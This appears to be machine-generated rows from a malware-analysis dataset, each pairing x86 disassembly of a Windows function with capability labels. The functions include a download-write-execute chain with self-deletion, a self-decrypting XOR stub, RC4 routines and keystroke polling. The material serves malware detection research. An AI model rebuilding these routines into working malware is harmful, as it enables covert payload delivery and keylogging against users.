joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a840
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x414e90]
call fcn.00404a38
xor eax, eax
push ebp
push 0x46a984
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x482f38], 0
jne 0x46a893
mov ecx, dword [0x4836fc]
mov dl, 1
mov eax, dword [0x4073b8]
call fcn.0040be8c
call fcn.00403aac
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402d34
mov eax, ebx
call fcn.00404908
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x46a994
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004059f0
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404918
test eax, eax
jle 0x46a92b
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46a924
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.004042f8
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.004042e0
mov eax, dword [ebp - 0x48]
pop edx
call fcn.004081f8
test eax, eax
jne 0x46a924
mov ebx, 0x15
jmp 0x46a930
mov ebx, 0x10
jmp 0x46a930
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x482f38]
call fcn.0046a798
mov eax, dword [ebp - 8]
call fcn.0046a798
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405a08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a98b
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404094
lea eax, [ebp - 0x10]
mov edx, dword [0x414e90]
call fcn.00404b08
ret

Function at 0x46b768
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404520
xor eax, eax
push ebp
push 0x46b7c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404530
push eax
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x46b7a4
test byte [ebp - 0xc], 0x10
jne 0x46b7a8
xor eax, eax
jmp 0x46b7aa
mov al, 1
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b7ca
lea eax, [ebp - 4]
call fcn.00404070
ret

Function at 0x47e14c
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp - 4]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp - 4]
mov dword [eax + 0xc], 0x10325476
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
add eax, 0x18
mov edx, 0x40
call fcn.00406da4
pop ecx
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402560
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x40258f
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00402a0c
jmp 0x4025ad
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.004024f4
mov edi, eax
test ebx, ebx
je 0x4025ad
cmp dword [esi], 0
je 0x4025ad
dec ebx
jmp 0x402596
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402f44
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, edx
mov eax, dword [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x402f9f
push ecx
push 0
mov eax, esp
push 0
push eax
mov eax, dword [ebx + 8]
mul ecx
push eax
push esi
push dword [ebx]
call sub.kernel32.dll_WriteFile
dec eax
pop eax
pop ecx
jne 0x402f91
xor edx, edx
div dword [ebx + 8]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x402f86
mov dword [edx], eax
pop esi
pop ebx
ret 4
cmp eax, ecx
je 0x402f81
mov eax, 0x65
jmp 0x402f96
call sub.kernel32.dll_GetLastError
call fcn.00402498
xor eax, eax
jmp 0x402f81
mov eax, 0x67
jmp 0x402f96

Function at 0x40358c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00402bd4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4035a5
test al, 0x10
je 0x4035a9
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4035b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00402bd4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4035c9
test al, 0x10
jne 0x4035cd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4035d4
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4036c1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x109]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.00402a6c
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 4]
call fcn.00402a84
mov edx, eax
mov ecx, 1
mov eax, dword [ebp - 4]
call fcn.00402be0
mov eax, dword [ebp - 0x110]
mov edx, 0x4036d8
call fcn.00402b20
je 0x40365c
lea eax, [ebp - 4]
mov edx, 0x4036d8
call fcn.00402a8c
push dword [ebp - 4]
call sub.kernel32.dll_GetTickCount
lea edx, [ebp - 0x110]
call fcn.00403534
push dword [ebp - 0x110]
push 0x4036d8
mov eax, ebx
mov edx, 3
call fcn.00402ad0
mov eax, dword [ebx]
call fcn.004035b0
test al, al
jne 0x40365c
push 0
mov eax, dword [ebx]
call fcn.00402bd4
push eax
call sub.kernel32.dll_CreateDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036c8
lea eax, [ebp - 0x110]
call fcn.0040292c
lea eax, [ebp - 4]
call fcn.0040292c
ret
Function at 0x403774
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403927
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov edx, 0x403940
xor eax, eax
call fcn.004036dc
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402ea1
lea eax, [ebp - 0x1d0]
call fcn.0040316a
call fcn.00402478
mov edx, 0x403950
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.0040334b
call fcn.00402478
mov edx, 0x40395c
lea eax, [ebp - 0x1d4]
call fcn.004029c0
lea edx, [ebp - 0x1d8]
xor eax, eax
call fcn.00402560
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d4]
call fcn.00402a8c
lea eax, [ebp - 0x1d4]
mov edx, 0x40396c
call fcn.00402a8c
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.0040334b
call fcn.00402478
mov edx, 0x403978
lea eax, [ebp - 0x1d4]
call fcn.004029c0
lea edx, [ebp - 0x1d8]
xor eax, eax
call fcn.00402560
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d4]
call fcn.00402a8c
lea eax, [ebp - 0x1d4]
mov edx, 0x40398c
call fcn.00402a8c
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.0040334b
call fcn.00402478
mov edx, 0x40395c
lea eax, [ebp - 0x1d4]
call fcn.004029c0
lea eax, [ebp - 0x1d4]
mov edx, dword [ebp - 4]
call fcn.00402a8c
lea eax, [ebp - 0x1d4]
mov edx, 0x40396c
call fcn.00402a8c
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1d0]
call fcn.00402c84
call fcn.0040334b
call fcn.00402478
lea eax, [ebp - 0x1d0]
call fcn.00402fa8
call fcn.00402478
push 0
mov eax, dword [ebp - 4]
call fcn.00402bd4
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40392e
lea eax, [ebp - 0x1d8]
mov edx, 2
call fcn.0040294c
lea eax, [ebp - 4]
call fcn.0040292c
ret
Function at 0x403998
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa0
push ebx
push esi
mov ebx, edx
mov esi, eax
mov byte [ebp - 1], 0
mov edx, ebx
lea eax, [ebp - 0x560]
call fcn.00402ea1
mov edx, 1
lea eax, [ebp - 0x560]
call fcn.00403260
call fcn.00402478
push 2
mov eax, ebx
call fcn.00402bd4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0
push 0
push 0
push 0x403ae8
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x403ad6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x403abf
push 0
push 0x80000000
push 0
push 0
mov eax, esi
call fcn.00402bd4
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
push 0x190
call sub.kernel32.dll_Sleep
cmp dword [ebp - 0xc], 0
je 0x403abf
xor eax, eax
push ebp
push 0x403ab8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x412]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0x10], 0
je 0x403a8d
push 0
lea edx, [ebp - 0x412]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x560]
call fcn.00402f44
call fcn.00402478
jmp 0x403a4a
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403abf
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x560]
call fcn.00402fa8
call fcn.00402478
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403add
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x403b58
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x3c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004025b8
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov eax, 0x403be0
mov dword [ebp - 0x30], eax
mov eax, ebx
call fcn.00402bd4
mov dword [ebp - 0x2c], eax
mov eax, esi
call fcn.00402bd4
mov dword [ebp - 0x28], eax
movzx eax, di
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x3c]
push eax
call sub.shell32.dll_ShellExecuteExA
mov ebx, eax
neg ebx
sbb ebx, ebx
neg ebx
test bl, bl
je 0x403bd5
cmp byte [ebp + 8], 0
je 0x403bcc
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403be8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x10], eax
call fcn.0040288c
call fcn.004033f8
xor eax, eax
push ebp
push 0x403cb2
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x403cd0
xor eax, eax
call fcn.004036dc
mov edx, dword [ebp - 0x10]
mov eax, 0x40407c
call fcn.0040297c
mov edx, dword [0x40407c]
mov eax, 0x403ce0
call fcn.00403998
test al, al
je 0x403c85
push 1
mov cx, 5
xor edx, edx
mov eax, dword [0x40407c]
call fcn.00403b58
test al, al
je 0x403c9c
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x403c70
mov eax, dword [0x40407c]
call fcn.00402bd4
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x40407c]
call fcn.0040358c
test al, al
jne 0x403c60
call fcn.00403774
jmp 0x403c9c
push 0
push 0x403d2c
push 0x403d34
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_MessageBoxA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403cb9
lea eax, [ebp - 0x10]
call fcn.0040292c
ret
Function at 0x442a90
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d063b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c4f74
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x442b12
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c2e22
mov eax, dword [eax]
push 0xfc1ce8
push eax
call fcn.004b4fd4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c51ff
test bl, bl
je 0x442b12
push 0xfc1ce8
lea ecx, [esp + 0xc]
call fcn.004c558f
push 0xfc1cf4
lea ecx, [esp + 0xc]
call fcn.004c558f
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x442b4e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c51ff
jmp 0x442c19
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x442bd2
lea edx, [esp + 0x7c]
push 0xfc1cf0
push edx
call fcn.004b4fd4
add esp, 8
test eax, eax
je 0x442bd2
lea eax, [esp + 0x7c]
push 0xfc1cec
push eax
call fcn.004b4fd4
add esp, 8
test eax, eax
je 0x442bd2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x442b62
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c51ff
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x443420
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x443482
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x443490
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d06bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0xfd1150]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4435c8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4434f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c51ff
xor eax, eax
jmp 0x44363f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c533c
push esi
lea ecx, [esp + 0xc]
call fcn.004c55cb
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0xfc1d28
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x44361d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00443420
test eax, eax
jne 0x44361d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00443420
test eax, eax
jne 0x44361d
lea eax, [esp + 0x14]
push 0xfc1d04
push eax
call fcn.004b6140
mov esi, eax
add esp, 8
test esi, esi
jne 0x4435fc
lea ecx, [esp + 0x14]
push 0xfc1d00
push ecx
call fcn.004b60c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4435fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4435ff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c52ec
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44350e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c51ff
xor eax, eax
jmp 0x44363f
mov byte [esi], 0
push 0xfc1cfc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c51ff
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4571f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x45725e
cmp si, 0x69
ja 0x45725e
add esi, 0xffd0
cmp si, 0x11
je 0x45722e
push 0x11
call edi
test ax, ax
jge 0x45722e
or esi, 0x2000
cmp si, 0x10
je 0x457243
push 0x10
call edi
test ax, ax
jge 0x457243
or esi, 0x4000
cmp si, 0x12
je 0x457258
push 0x12
call edi
test ax, ax
jge 0x457258
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x45726b
mov esi, 0xbd
jmp 0x45721f
cmp si, 0x6e
jne 0x457278
mov esi, 0xbe
jmp 0x45721f
cmp si, 0x6f
jne 0x457219
mov esi, 0xbf
jmp 0x45721f

Function at 0x458e90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xfe1958]
xor edx, edx
cmp eax, edx
jne 0x458eb6
xor eax, eax
mov byte [eax + 0xfe1858], al
inc eax
cmp eax, 0x100
jl 0x458e9e
mov dword [0xfe1958], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xfe1858
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x458f47
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x458f1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x458ee8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x458fc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x459013
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x458ffa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret